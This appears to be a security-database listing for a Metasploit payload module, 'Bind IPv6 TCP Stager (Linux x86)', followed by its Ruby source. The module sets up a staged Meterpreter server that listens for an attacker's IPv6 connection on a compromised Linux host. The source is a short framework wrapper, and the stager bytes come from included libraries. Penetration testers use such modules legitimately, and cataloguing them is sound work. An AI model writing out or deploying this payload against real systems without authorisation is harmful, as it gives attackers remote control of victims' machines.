Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)

2008-11-18T21:01:26
ID MSF:PAYLOAD/LINUX/X86/METERPRETER/BIND_IPV6_TCP
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/linux/bind_tcp'

module MetasploitModule

  CachedSize = 120

  include Msf::Payload::Stager
  include Msf::Payload::Linux::BindTcp

  def self.handler_type_alias
    'bind_ipv6_tcp'
  end

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Bind IPv6 TCP Stager (Linux x86)',
      'Description' => 'Listen for an IPv6 connection (Linux x86)',
      'Author'      => [ 'kris katterjohn', 'egypt' ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Arch'        => ARCH_X86,
      'Handler'     => Msf::Handler::BindTcp,
      'Convention'  => 'sockedi',
      'Stager'      => { 'RequiresMidstager' => true }
    ))
  end

  def use_ipv6
    true
  end
end